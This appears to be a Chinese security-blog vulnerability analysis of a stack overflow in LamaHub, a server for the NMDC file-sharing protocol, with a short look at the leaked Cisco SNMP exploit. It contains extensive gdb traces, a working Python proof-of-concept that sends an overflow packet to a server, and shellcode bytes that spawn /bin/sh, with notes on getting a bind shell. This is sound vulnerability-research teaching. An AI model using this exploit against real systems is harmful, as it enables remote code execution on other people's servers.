【技术分享】从NMDC看简单协议漏洞分析

阅读量170667

|

发布时间 : 2016-10-12 14:11:00

http://p1.qhimg.com/t01b002b4eebb67b158.jpg

作者:k0pwn_ko

稿费:500RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

协议漏洞一直是一个比较有趣的话题,比如之前二哥在乌云提交的QQ游戏客户端的伪协议漏洞,比如GeekPwn上的TCP协议栈漏洞,比如后来NSA泄露的思科SNMP的远程代码执行,都是各种不同类型的协议漏洞,其实很多著名的协议都存在漏洞而且网上都有对应的漏洞分析。其实无论是对于协议漏洞的挖掘,分析,利用,都需要对协议数据包的构成,处理协议的客户端/服务端等等有所了解。

当然今天我做的这个分享是最近我看到的一个比较偏门的协议—-NMDC协议的远程代码执行,之所以会选择这个协议,是在我调试这个协议漏洞的过程中,发现这个协议从数据包构造,漏洞成因,服务端分析来看都相对简化易懂,非常适合和我一样对协议漏洞感兴趣或者刚刚入门的小伙伴一起学习,因此分享出来和大家一起交流!有不当之处还望多多包含,多多指正!


先看看SNMP协议

在分析这个NMDC协议之前,想先和大家一起来看看前端时间泄露的思科SNMP协议漏洞,其实在安全客有一篇文章[揭开思科ASA防火墙网络军火的面纱]对于这个协议漏洞已经进行了详细的分析,这里再次提到这个漏洞,是因为想和大家再次回顾一下这个漏洞的数据包构造,因为实际上对于一个协议服务端漏洞,是需要了解协议数据包的结构,才能针对具体的结构构造特殊的参数来挖掘,复现漏洞场景。

首先搭建一个简单的思科防火墙环境,然后利用Exploit完成利用。

http://p8.qhimg.com/t0160e49a65af2db6dc.png

通过wireshark抓包,观察这个SNMP协议包。

http://p5.qhimg.com/t0189d87ebb47729620.png

可以看到,在SNMP协议包里包含了getBulkRequest字段,这个字段是SNMPv2之后加入的新的PDU,该PDU是用来有效检索块中数据,加快交互效率用的。问题就出现在这个PDU中。

仔细分析SNMP协议,可以看到其中包括了版本号,应答方ID等信息,其中variable-bindings的value值中包含了溢出的payload,在思科防火墙的lina中处理这个数据包时,会引发一个缓冲区溢出。

其实看完这篇分析的文章,可以想到在进行协议分析的时候,对协议数据包的构造,每个指令包含的内容是对协议漏洞分析一个必不可少的环节,接下来通过相对复杂的SNMP协议,来看一下文章的主角NMDC协议。


NMDC简单协议

NMDC协议主要负责的是P2P客户端服务器交互的一种文件共享协议,用于实现Client和Hub之间的交互,其中,NMDC提供了很多交互的指令,在服务端会识别这些指令做出相应的回应。这里列举一些交互的指令功能。

Hub端:

$Lock

指令格式:$Lock <lock> Pk=<pk>|

主要用于刚刚建立连接的时候,确认当前客户端连接当前的服务端,可以理解为确认连接的唯一性。

$GetPass

指令格式:$GetPass|

主要用于向客户端发送消息,要求客户端提供密码。

$LogedIn

指令格式:$LogedIn <nick>|

主要用于登陆成功后告知客户端,同时发送的内容有该客户端的用户名。

Client端:

$Supports:

指令格式:$Supports <extension1> <extension2> … <extensionN>|

主要用于声明NMDC支持的协议扩展。

$ValidateNick :

指令格式:$ValidateNick <nick>|

主要用于确认当前可使用的用户名。

$MyPass:

指令格式:$MyPass <password>|

主要用于在接收到服务端的请求指令后,向服务端发送密码。

$GetNickList:

指令格式:$GetNickList|

主要用于向服务端请求当前的用户名列表。

$MyINFO :

指令格式:$MyINFO $ALL <nick> <description>$ $<connection><flag>$<e-mail>$<sharesize>$|

用于向服务端提供当前客户端的信息,而问题就出现在这里面。

来看一下一个简单的Client和Hub交互的图解:

http://p7.qhimg.com/t0126f6b8d3a657ffe1.png

这次的协议漏洞的问题就出现在$MyINFO中,通过构造特殊的$MyINFO的指令发送给Hub端,在Hub端处理$MyINFO指令参数的时候,会引发一个简单的栈溢出,文章的主角LamaHub就是这样一个处理NMDC协议的Hub端,它在解析MyINFO的指令的时候,会由于memcpy函数没有对长度进行限制,导致栈溢出。在阅读了NMDC指令格式之后可以来看一下NMDC发送的数据包。首先是TCP握手:

http://p3.qhimg.com/t015edcd733bd529f2c.png

紧接着会进入之前提到的交互部分,会实现NMDC协议握手的过程,来看一下完整的交互包。

http://p4.qhimg.com/t01ac021f71d5e42f9a.png

可以看到实际上在NMDC握手的时候,就包含了交互需要的一些指令,通过“ | ”连接,那么实际上可以猜测LamaHub在处理NMDC协议的时候的一个处理流程。

http://p5.qhimg.com/t01a9410385a7d2a584.png

了解了指令格式,以及Client和Hub的交互过程,在下一节的漏洞分析的过程中,可以很清晰的看到这个交互过程LamaHub都做了些什么工作,以及最后为什么会引发缓冲区溢出。


从NMDC到LamaHub漏洞

LamaHub是NMDC协议的一个服务端,在LamaHub服务器处理客户端请求的时候,通过构造特殊的NMDC协议数据包,可以导致LamaHub在处理$MyINFO指令请求的时候产生缓冲区溢出,从而远程执行任意代码,下面对此漏洞进行分析。

首先部署LamaHub,用gdb attach,运行PoC,服务端崩溃,可以查看崩溃时的信息。

gdb-peda$ run
Starting program: /root/Desktop/0.0.6.2/server 
> ERROR -> Plugin -> File plugins.conf dont found
> init () -> OK
> started on port -> 4111
> new client -> 127.0.0.1 -> 4
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0x2c2c2c2c (',,,,')
ECX: 0x0 
EDX: 0x5 
ESI: 0x2c2c2c2c (',,,,')
EDI: 0x2c2c2c2c (',,,,')
EBP: 0x2c2c2c2c (',,,,')
ESP: 0xbffff2c0 --> 0x80626d6 --> 0x0 
EIP: 0x8066a2a ("idateNick Pierre|$Ven 1,0091|$G01")
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8066a27 <buf+39>:push   esi
   0x8066a28 <buf+40>:popa   
   0x8066a29 <buf+41>:ins    BYTE PTR es:[edi],dx
=> 0x8066a2a <buf+42>:imul   esp,DWORD PTR [ecx+eiz*2+0x74],0x63694e65
   0x8066a32 <buf+50>:imul   esp,DWORD PTR [eax],0x50
   0x8066a35 <buf+53>:imul   esp,DWORD PTR [ebp+0x72],0x247c6572
   0x8066a3c <buf+60>:push   esi
   0x8066a3d <buf+61>:outs   dx,BYTE PTR gs:[esi]
[------------------------------------stack-------------------------------------]
0000| 0xbffff2c0 --> 0x80626d6 --> 0x0 
0004| 0xbffff2c4 --> 0xb1b1b1b1 
0008| 0xbffff2c8 --> 0xb1b1b1b1 
0012| 0xbffff2cc --> 0xb1b1b1b1 
0016| 0xbffff2d0 ("770,INFO$312312312312 ZPe0 |b363377277")
0020| 0xbffff2d4 ("INFO$312312312312 ZPe0 |b363377277")
0024| 0xbffff2d8 --> 0xcacaca24 
0028| 0xbffff2dc --> 0x505a20ca 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x08066a2a in buf ()

可以看到,此时程序处于08066a2a地址位置,通过PoC,此时是处于返回地址eip部署的恶意地址,这个是PoC给出的,根据系统可以修改eip地址使其跳转到shellcode,通过bt查看一下堆栈回溯。

gdb-peda$ bt
#0  0x08066a2a in buf ()
#1  0x080626d6 in buf ()
#2  0xb1b1b1b1 in ?? ()
#3  0xb1b1b1b1 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)

由于NMDC数据包构造的原因,后续堆栈已经被畸形payload覆盖,导致回溯失败,通过正向分析可以找到这个漏洞的成因。

通过IDA pro分析可以找到两处recv,在LamaHub接收数据的时候势必会调用recv函数,在这两处recv下断点。

gdb-peda$ b *0x08052ef7
Breakpoint 1 at 0x8052ef7
gdb-peda$ r
Starting program: /root/Desktop/0.0.6.2/server 
> init () -> OK
> started on port -> 4111
> new client -> 127.0.0.1 -> 4
[----------------------------------registers-----------------------------------]
EAX: 0x4 
EBX: 0x806c610 --> 0x80670c0 (0x0806c610)
ECX: 0x4 
EDX: 0x10 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff438 --> 0x0 
ESP: 0xbffff3f0 --> 0x4 
EIP: 0x8052ef7 (<loop+231>:call   0x8049210 <recv@plt>)
EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8052eea <loop+218>:push   0x8066a00
   0x8052eef <loop+223>:push   ecx
   0x8052ef0 <loop+224>:mov    BYTE PTR ds:0x8066a00,0x0
=> 0x8052ef7 <loop+231>:call   0x8049210 <recv@plt>
   0x8052efc <loop+236>:add    esp,0x10
   0x8052eff <loop+239>:test   eax,eax
   0x8052f01 <loop+241>:mov    ds:0x8062b04,eax
   0x8052f06 <loop+246>:je     0x8052f40 <loop+304>
Guessed arguments:
arg[0]: 0x4 
arg[1]: 0x8066a00 --> 0x0 
arg[2]: 0x3ff 
arg[3]: 0x0

发送payload后,程序命中了一处断点,之后单步步过。

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x1b1 
EBX: 0x806c610 --> 0x80670c0 (0x0806c610)
ECX: 0xbffff3f0 --> 0x4 
EDX: 0x806c610 --> 0x80670c0 (0x0806c610)
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff438 --> 0x0 
ESP: 0xbffff3f0 --> 0x4 
EIP: 0x8052efc (<loop+236>:add    esp,0x10)
EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8052eef <loop+223>:push   ecx
   0x8052ef0 <loop+224>:mov    BYTE PTR ds:0x8066a00,0x0
   0x8052ef7 <loop+231>:call   0x8049210 <recv@plt>
=> 0x8052efc <loop+236>:add    esp,0x10
   0x8052eff <loop+239>:test   eax,eax
   0x8052f01 <loop+241>:mov    ds:0x8062b04,eax
   0x8052f06 <loop+246>:je     0x8052f40 <loop+304>
   0x8052f08 <loop+248>:mov    BYTE PTR [eax+0x8066a00],0x0
Legend: code, data, rodata, value
0x08052efc in loop ()

可以看到,此时堆0x08066a00位置接收了数据包并且进行了保存,查看一下这个堆中的内容。

gdb-peda$ x/100x 0x08066a00
0x8066a00 <buf>:0x707553240x74726f700x735520730x206f6c6c
0x8066a10 <buf+16>:0x203250490x637261650x505a20680x7c203065
0x8066a20 <buf+32>:0x79654b240x56247c610x64696c610x4e657461
0x8066a30 <buf+48>:0x206b63690x726569500x247c65720x206e6556
0x8066a40 <buf+64>:0x30302c310x247c31390x4e0001470x4c6b633b
0x8066a50 <buf+80>:0x7c7473690x49794d240x204f464e0x4c4c4124
0x8066a60 <buf+96>:0x656950200x206572720x9090654a0x90909090
0x8066a70 <buf+112>:0x909090900x909090900x909090900x90909090
0x8066a80 <buf+128>:0x909090900x909090900x6850c0310x68732f2f
0x8066a90 <buf+144>:0x69622f680x31e3896e0x6aca89c90x80cd580b
0x8066aa0 <buf+160>:0x909090900x909090900x909090900x90909090
0x8066ab0 <buf+176>:0x909090900x909090900x909090900x90909090
0x8066ac0 <buf+192>:0x909090900x909090900x3c6190900x794d243c
0x8066ad0 <buf+208>:0x243500800x302469700x373737240x37373737
0x8066ae0 <buf+224>:0x373737370xb1b1b1370xb1b1b1b10xb1b1b1b1

畸形数据已经全被被接收了,接下来单步跟踪。在接收到数据之后,会到达一处调用,地址为0x8052e82的call parse_token,这个主要是负责验证逻辑。

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x1b1 
EBX: 0x806c610 --> 0x80670c0 (0x0806c610)
ECX: 0xbffff3f0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
EDX: 0x806c610 --> 0x80670c0 (0x0806c610)
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff438 --> 0x0 
ESP: 0xbffff3f0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
EIP: 0x8052e82 (<loop+114>:call   0x8050cf0 <parse_token>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8052e7b <loop+107>:push   eax
   0x8052e7c <loop+108>:push   0x8066a00
   0x8052e81 <loop+113>:push   ebx
=> 0x8052e82 <loop+114>:call   0x8050cf0 <parse_token>
   0x8052e87 <loop+119>:add    esp,0x10
   0x8052e8a <loop+122>:cmp    eax,0xffffffff
   0x8052e8d <loop+125>:je     0x8052f4c <loop+316>
   0x8052e93 <loop+131>:sub    esp,0xc
Guessed arguments:
arg[0]: 0x806c610 --> 0x80670c0 (0x0806c610)
arg[1]: 0x8066a00 ("$Supports Usllo IP2 earch ZPe0 |$Keya|$ValidateNick Pierre|$Ven 1,0091|$G01")
arg[2]: 0x1b1

可以看到这处验证逻辑第二个参数就是畸形payload,接下来分析这处验证逻辑。通过IDA pro查看一下这个函数伪代码。

int __cdecl parse_token(void *a1, char *src, size_t a3)
{
……省略部分代码
LABEL_19:
        v11 = v3;
        *(&token_buf + n) = 0;
        result = proto_state_handler(a1, &token_buf, n);
        v3 = v11;
        if ( result == -1 )
          return -1;
        goto LABEL_12;
      }
    }
    else if ( !(n & 1) )
    {
      goto LABEL_19;
    }
    v8[v10] = v9[v10];
    goto LABEL_19;
  }
  return result;
}

在LABEL_19块中,调用了一个函数proto_state_handler,主要是负责处理协议句柄的,其中涉及到一个token_buf,单步跟踪观察这个proto_state_handler函数调用的传参情况。注意看stack栈中的情况。

[----------------------------------registers-----------------------------------]
EAX: 0x20 (' ')
EBX: 0x0 
ECX: 0x0 
EDX: 0x1b1 
ESI: 0x8066a20 ("$Keya|$ValidateNick Pierre|$Ven 1,0091|$G01")
EDI: 0x8062720 --> 0x0 
EBP: 0x8066a00 ("$Supports Usllo IP2 earch ZPe0 |$Keya|$ValidateNick Pierre|$Ven 1,0091|$G01")
ESP: 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
EIP: 0x8050ddb (<parse_token+235>:call   0x80551b0 <proto_state_handler>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8050dcb <parse_token+219>:push   0x8062700
   0x8050dd0 <parse_token+224>:push   DWORD PTR [esp+0x24]
   0x8050dd4 <parse_token+228>:mov    BYTE PTR [eax+0x8062700],0x0
=> 0x8050ddb <parse_token+235>:call   0x80551b0 <proto_state_handler>
   0x8050de0 <parse_token+240>:add    esp,0x10
   0x8050de3 <parse_token+243>:cmp    eax,0xffffffff
   0x8050de6 <parse_token+246>:mov    edx,DWORD PTR [esp+0x1c]
   0x8050dea <parse_token+250>:jne    0x8050d78 <parse_token+136>
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0004| 0xbffff3a4 --> 0x8062700 ("$Supports Usllo IP2 earch ZPe0 |")

这个token_buf的内容是$Supports,其实这个主要是NDMC的协议处理,而在parse_token的开始部分,会先处理这个数据包,将数据包内容拆分。接下来直接执行,会第二次到达断点。

[-------------------------------------code-------------------------------------]
   0x8050dcb <parse_token+219>:push   0x8062700
   0x8050dd0 <parse_token+224>:push   DWORD PTR [esp+0x24]
   0x8050dd4 <parse_token+228>:mov    BYTE PTR [eax+0x8062700],0x0
=> 0x8050ddb <parse_token+235>:call   0x80551b0 <proto_state_handler>
   0x8050de0 <parse_token+240>:add    esp,0x10
   0x8050de3 <parse_token+243>:cmp    eax,0xffffffff
   0x8050de6 <parse_token+246>:mov    edx,DWORD PTR [esp+0x1c]
   0x8050dea <parse_token+250>:jne    0x8050d78 <parse_token+136>
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0004| 0xbffff3a4 --> 0x8062700 ("$Keya|")

继续执行,第三次命中

[-------------------------------------code-------------------------------------]
   0x8050dcb <parse_token+219>:push   0x8062700
   0x8050dd0 <parse_token+224>:push   DWORD PTR [esp+0x24]
   0x8050dd4 <parse_token+228>:mov    BYTE PTR [eax+0x8062700],0x0
=> 0x8050ddb <parse_token+235>:call   0x80551b0 <proto_state_handler>
   0x8050de0 <parse_token+240>:add    esp,0x10
   0x8050de3 <parse_token+243>:cmp    eax,0xffffffff
   0x8050de6 <parse_token+246>:mov    edx,DWORD PTR [esp+0x1c]
   0x8050dea <parse_token+250>:jne    0x8050d78 <parse_token+136>
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0004| 0xbffff3a4 --> 0x8062700 ("$ValidateNick Pierre|")

可以看到每次都获取到|分割线后的内容,接下来直接执行到包含畸形字符串的部分。

[-------------------------------------code-------------------------------------]
   0x8050dcb <parse_token+219>:push   0x8062700
   0x8050dd0 <parse_token+224>:push   DWORD PTR [esp+0x24]
   0x8050dd4 <parse_token+228>:mov    BYTE PTR [eax+0x8062700],0x0
=> 0x8050ddb <parse_token+235>:call   0x80551b0 <proto_state_handler>
   0x8050de0 <parse_token+240>:add    esp,0x10
   0x8050de3 <parse_token+243>:cmp    eax,0xffffffff
   0x8050de6 <parse_token+246>:mov    edx,DWORD PTR [esp+0x1c]
   0x8050dea <parse_token+250>:jne    0x8050d78 <parse_token+136>
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
0004| 0xbffff3a4 --> 0x8062700 ("$MyINFO $ALL Pierre Je", '220' <repeats 30 times>, "61300Ph//shh/bin21134361?312jvX?", '220' <repeats 42 times>, "a<<$My200")
0008| 0xbffff3a8 --> 0x144 
0012| 0xbffff3ac --> 0x0 
0016| 0xbffff3b0 --> 0xbffff438 --> 0x0 
0020| 0xbffff3b4 --> 0xb7de16b8 --> 0x1785 
0024| 0xbffff3b8 --> 0x79 ('y')
0028| 0xbffff3bc --> 0x197 
[------------------------------------------------------------------------------]

第二个参数作为畸形字符串传入,其中涉及到指令$MyINFO,就从这里跟入看看函数内部到底发生了什么。

int proto_state_handler (user_t *u, char *data, unsigned int len)
{
switch (u->state) {
case PROTO_STATE_INIT:// new user connected
     return proto_nmdc_state_init (u);
case PROTO_STATE_SENDLOCK:// waiting for user $Key
     return proto_nmdc_state_sendlock (u, data, len);
case PROTO_STATE_WAITNICK:// waiting for user $ValidateNick
     return proto_nmdc_state_waitnick (u, data, len);
case PROTO_STATE_WAITPASS:// waiting for user $GetPass
             return proto_nmdc_state_waitpass (u, data, len);
case PROTO_STATE_HELLO:// waiting for user $MyINFO
     return proto_nmdc_state_hello (u, data, len);
case PROTO_STATE_ONLINE:// user is avaible now
     return proto_nmdc_state_online (u, data, len);
case PROTO_STATE_DISCONNECTED:// user gone out    $Quit
     return proto_nmdc_state_disconnect (u);
}

进入后会到达一处switch逻辑,这个switch会根据user_t的类型进行判断,根据情况进行处理,在$MyINFO会进入proto_nmdc_state_hello函数。

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x4 
EBX: 0x806c610 --> 0x80670c0 (0x0806c610)
ECX: 0x0 
EDX: 0x1b1 
ESI: 0x8066b98 ("$Keya|$V A 0a|$Vick Pi312312n")
EDI: 0x8062844 --> 0x0 
EBP: 0x8066a54 ("$MyINFO $ALL Pierre Je", '220' <repeats 30 times>, "61300Ph//shh/bin21134361?312jvX?", '220' <repeats 42 times>, "a<<$My200")
ESP: 0xbffff2c0 --> 0x806c610 --> 0x80670c0 (0x0806c610)
EIP: 0x805534a (<proto_state_handler+410>:call   0x80539e0 <proto_nmdc_state_hello>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x805533b <proto_state_handler+395>:push   DWORD PTR [esp+0xdc]
   0x8055342 <proto_state_handler+402>:push   DWORD PTR [esp+0xdc]
   0x8055349 <proto_state_handler+409>:push   ebx
=> 0x805534a <proto_state_handler+410>:call   0x80539e0 <proto_nmdc_state_hello>
   0x805534f <proto_state_handler+415>:add    esp,0x10
   0x8055352 <proto_state_handler+418>:add    esp,0xc0
   0x8055358 <proto_state_handler+424>:pop    ebx
   0x8055359 <proto_state_handler+425>:pop    esi
Guessed arguments:
arg[0]: 0x806c610 --> 0x80670c0 (0x0806c610)
arg[1]: 0x8062700 ("$MyINFO $ALL Pierre Je", '220' <repeats 30 times>, "61300Ph//shh/bin21134361?312jvX?", '220' <repeats 42 times>, "a<<$My200")
arg[2]: 0x144

进入之后会根据$MyINFO内部的内容进行一些处理。比如

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x13 
EBX: 0x8062700 ("$MyINFO $ALL Pierre Je", '220' <repeats 30 times>, "61300Ph//shh/bin21134361?312jvX?", '220' <repeats 42 times>, "a<<$My200")
ECX: 0x7 
EDX: 0x6 
ESI: 0x8062702 ("yINFO $ALL Pierre Je", '220' <repeats 30 times>, "61300Ph//shh/bin21134361?312jvX?", '220' <repeats 42 times>, "a<<$My200")
EDI: 0x805ac4b ("$MyINFO")
EBP: 0x0 
ESP: 0xbfffefc0 --> 0xbffff000 --> 0xfbad8001 
EIP: 0x8053a3d (<proto_nmdc_state_hello+93>:mov    esi,ebx)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8053a2d <proto_nmdc_state_hello+77>:jbe    0x8053d20 <proto_nmdc_state_hello+832>
   0x8053a33 <proto_nmdc_state_hello+83>:mov    ecx,0x7
   0x8053a38 <proto_nmdc_state_hello+88>:mov    edi,0x805ac4b
=> 0x8053a3d <proto_nmdc_state_hello+93>:mov    esi,ebx
   0x8053a3f <proto_nmdc_state_hello+95>:repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
   0x8053a41 <proto_nmdc_state_hello+97>:seta   cl
   0x8053a44 <proto_nmdc_state_hello+100>:setb   al
   0x8053a47 <proto_nmdc_state_hello+103>:sub    ecx,eax
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x13 
EBX: 0x8062700 ("$MyINFO $ALL Pierre Je", '220' <repeats 30 times>, "61300Ph//shh/bin21134361?312jvX?", '220' <repeats 42 times>, "a<<$My200")
ECX: 0x7 
EDX: 0x6 
ESI: 0x8062700 ("$MyINFO $ALL Pierre Je", '220' <repeats 30 times>, "61300Ph//shh/bin21134361?312jvX?", '220' <repeats 42 times>, "a<<$My200")
EDI: 0x805ac4b ("$MyINFO")
EBP: 0x0 
ESP: 0xbfffefc0 --> 0xbffff000 --> 0xfbad8001 
EIP: 0x8053a3f (<proto_nmdc_state_hello+95>:repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi])
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8053a33 <proto_nmdc_state_hello+83>:mov    ecx,0x7
   0x8053a38 <proto_nmdc_state_hello+88>:mov    edi,0x805ac4b
   0x8053a3d <proto_nmdc_state_hello+93>:mov    esi,ebx
=> 0x8053a3f <proto_nmdc_state_hello+95>:repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]
   0x8053a41 <proto_nmdc_state_hello+97>:seta   cl
   0x8053a44 <proto_nmdc_state_hello+100>:setb   al
   0x8053a47 <proto_nmdc_state_hello+103>:sub    ecx,eax
   0x8053a49 <proto_nmdc_state_hello+105>:movsx  ebp,cl
Legend: code, data, rodata, value
0x08053a3f in proto_nmdc_state_hello ()

上述代码部分对$MyINFO中的$Hello Pierre后的指令进行处理,在后面会对这个内容进行拷贝。接下来会进入漏洞触发的关键部分。

gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x806c320 --> 0x80670c0 (0x0806c320)
EBX: 0x8062700 ("$MyINFO $ALL Pierre Je", '220' <repeats 30 times>, "61300Ph//shh/bin21134361?312jvX?", '220' <repeats 42 times>, "a<<$My200")
ECX: 0xb7e65000 (<__strncpy_sse2+3504>:mov    DWORD PTR [edi],edx)
EDX: 0x144 
ESI: 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6")
EDI: 0x1 
EBP: 0x0 
ESP: 0xbfffefb0 --> 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6")
EIP: 0x8053f77 (<proto_nmdc_state_hello+1431>:call   0x8048df0 <memcpy@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8053f6e <proto_nmdc_state_hello+1422>:push   DWORD PTR [esp+0x30c]
   0x8053f75 <proto_nmdc_state_hello+1429>:push   ebx
   0x8053f76 <proto_nmdc_state_hello+1430>:push   esi
=> 0x8053f77 <proto_nmdc_state_hello+1431>:call   0x8048df0 <memcpy@plt>
   0x8053f7c <proto_nmdc_state_hello+1436>:add    esp,0xc
   0x8053f7f <proto_nmdc_state_hello+1439>:push   0x0
   0x8053f81 <proto_nmdc_state_hello+1441>:push   0x8
   0x8053f83 <proto_nmdc_state_hello+1443>:push   DWORD PTR [esp+0x30c]
Guessed arguments:
arg[0]: 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6")
arg[1]: 0x8062700 ("$MyINFO $ALL Pierre Je", '220' <repeats 30 times>, "61300Ph//shh/bin21134361?312jvX?", '220' <repeats 42 times>, "a<<$My200")
arg[2]: 0x144 
Breakpoint 6, 0x08053f77 in proto_nmdc_state_hello ()

memcpy会将整个畸形payload考入到缓冲区中,这个过程没有对payload的长度进行检查而是直接拷贝,可以看到从recv开始到memcpy都一直没有进行长度控制,接下来返回时。

[-------------------------------------code-------------------------------------]
   0x8053d29 <proto_nmdc_state_hello+841>:pop    esi
   0x8053d2a <proto_nmdc_state_hello+842>:pop    edi
   0x8053d2b <proto_nmdc_state_hello+843>:pop    ebp
=> 0x8053d2c <proto_nmdc_state_hello+844>:ret    
   0x8053d2d <proto_nmdc_state_hello+845>:lea    esi,[esi+0x0]
   0x8053d30 <proto_nmdc_state_hello+848>:add    esp,0x2ec
   0x8053d36 <proto_nmdc_state_hello+854>:xor    ebp,ebp
   0x8053d38 <proto_nmdc_state_hello+856>:pop    ebx

由于缓冲区溢出,导致返回地址被覆盖,到达可控位置。

gdb-peda$ n
[-------------------------------------code-------------------------------------]
   0x8066a27 <buf+39>:push   esi
   0x8066a28 <buf+40>:popa   
   0x8066a29 <buf+41>:ins    BYTE PTR es:[edi],dx
=> 0x8066a2a <buf+42>:imul   esp,DWORD PTR [ecx+eiz*2+0x74],0x63694e65
   0x8066a32 <buf+50>:imul   esp,DWORD PTR [eax],0x50
   0x8066a35 <buf+53>:imul   esp,DWORD PTR [ebp+0x72],0x247c6572
   0x8066a3c <buf+60>:push   esi
   0x8066a3d <buf+61>:outs   dx,BYTE PTR gs:[esi]

PoC构造到Exploit

这里提供一个可以引发崩溃的PoC:

import socket
HOST = '192.168.25.101'
PORT = 4111
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
evil_buf = "$Supports Usllo IP2 earch ZPe0 |$Keya|$ValidateNick Pierre|$Ven 1,0091|$GetNickList|$MyINFO $ALL Pierre Je"
evil_buf += "x41"*120
evil_buf += "x61x3c"
evil_buf += "x3cx24x4dx79x80x00x35x24x70x69x24x30"
evil_buf += "x24x37x37x37x37x37x37x37x37x37x37x37"
evil_buf += "x37xb1xb1xb1xb1xb1xb1xb1xb1xb1xb1xb1"
evil_buf += "xb1xb1xb1xb1xb1xb1xb1xb1xb1xb1xb1xb1"
evil_buf += "xb1xb1xb1xb1xb1xb1xb1xb1xb1xb1xb1xb1"
evil_buf += "xb1xb1xb1xb1xb1xb1xb1xb1xb1xb1xb1xb1"
evil_buf += "xb1x2cx2cx2cx2cx2cx2cx2cx2cx2cx2cx2c"
evil_buf += "x2cx2cx2cx2cx2cx2cx2cx2cx2cx2cx2cx2c"
evil_buf += "x2cx2cx2cx2cx2cx2cx2cx2cx2cx2cx2cx2c"
evil_buf += "x2cx2cx2cx2cx2cx2cx2cx2cx2cx2cx2cx2c"
evil_buf += "x2cx2cx2cx2cx2cx2cx2cx2cx2cx2cx2cx2c"
evil_buf += "x2cx2cx2cx2cx2cx2cx2cx2cx2cx2cx2cx2c"
evil_buf += "x2cx2cx2cx2cx2cx2cx2cx2cx2cx2cx2cx2c"
evil_buf += "x2cx2cx2cx2cx2cx2cx2cx2cx41x41x41x41"
evil_buf += "xd6x26x06x08xb1xb1xb1xb1xb1xb1xb1xb1"
evil_buf += "xb1xb1xb1xb1x37x37x30x2cx49x4ex46x4f"
evil_buf += "x24xcaxcaxcaxcax20x5ax50x65x30x20"
evil_buf += " |$Keya|"
print "Send eIVL packet!n"
# Send EVIL PACKET !
s.sendall(evil_buf)
print "Send COmplete!n"
s.close()

这里可以直接引发崩溃,崩溃位置在evil_buf中的41414141,实际上这个地址就是覆盖的返回地址,修改这个返回地址,并且加上shellcode之后,通过gdb观察,可以看到eip的跳转,但是由于Lamahub开启了NX,导致shellcode无法执行。

http://p6.qhimg.com/t01b669686b1880ffbd.png

本文主要是分析协议漏洞成因,因此我在编译Lamahub的时候在Makefile加入了-fno-stack-protector -z execstack,关闭Linux下的NX,这样就可以执行shellcode了,那么在实际攻防中,可以利用ROP gadget来绕过NX。另外我刚开始用了pwntools的shellcraft,最后想利用interactive函数来拿shell,但是后来发现shellcraft中有一个badchar /x24,这个badchar不好绕过,利用pwntools最新的encode方法也会提示无法绕过,因此换了一个shellcode,绑定/bin/sh到指定端口,完成利用。

http://p7.qhimg.com/t0127a9ce79dc8f5d78.png

本文由k0shl原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/84713

安全客 - 有思想的安全新媒体

分享到:微信
+11赞
收藏
k0shl
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
